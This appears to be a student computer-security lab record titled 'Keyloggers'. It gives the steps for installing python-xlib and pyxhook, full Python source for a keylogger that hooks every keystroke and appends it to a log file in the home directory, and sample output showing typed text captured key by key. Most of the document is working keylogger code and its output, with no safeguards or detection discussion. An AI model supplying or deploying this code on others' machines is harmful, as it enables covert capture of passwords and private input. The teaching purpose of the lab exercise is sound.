

EXP NO: 4

DATE: 16/03/24

KEYLOGGERS

AIM:

To write a python program to implement key logger to record key strokes in Linux.

ALGORITHM:

1. Check if python-xlib is installed. If not type the command- `dnf install python-xlib -y`
2. Run pyxhook file using the command- `python pyxhook.py`
3. Create a file key.py
4. Run key.py to record all key strokes.
5. Open file.log file to view all the recorded key strokes.

PROGRAM:

```
import os
import pyxhook
log_file = os.environ.get( 'pylogger_file', os.path.expanduser('~/.Desktop/file.log'))
cancel_key = ord( os.environ.get( 'pylogger_cancel', '~')[0])
if os.environ.get('pylogger_clean', None) is not None:
    try:
        os.remove(log_file)
    except EnvironmentError:
        pass
def OnKeyPress(event):
    with open(log_file, 'a') as f:
        f.write('{}\n'.format(event.Key))
new_hook = pyxhook.HookManager()
new_hook.KeyDown = OnKeyPress
new_hook.HookKeyboard()
try:
    new_hook.start() # start the hook
except KeyboardInterrupt:
    pass
except Exception as ex:
    msg = 'Error while catching events:\n {}'.format(ex)
    pyxhook.print_err(msg)
    with open(log_file, 'a') as f:
        f.write('\n{}\n'.format(msg))
```

OUTPUT:

```
(kali㉿kali)-[~/Documents/cnslab]
$ python3 keylogger.py
Hello
CNS LAB
^Z
zsh: suspended python3 keylogger.py
```

File.log:

```
1|Shift_L
2|H
3|e
4|l
5|l
6|o
7|Return
8|Shift_L
9|M
10|e
11|a
12|BackSpace
13|BackSpace
14|BackSpace
15|Shift_L
16|C
17|N
18|S
19|space
20|Shift_L
21|L
22|Shift_L
23|A
24|B
25|BackSpace
26|Shift_L
27|B
28|Control_L
29|Return
30|Control_L
31|z
32|
```

RESULT:

Thus, a python program is implemented to demonstrate key logger to record key strokes in Linux.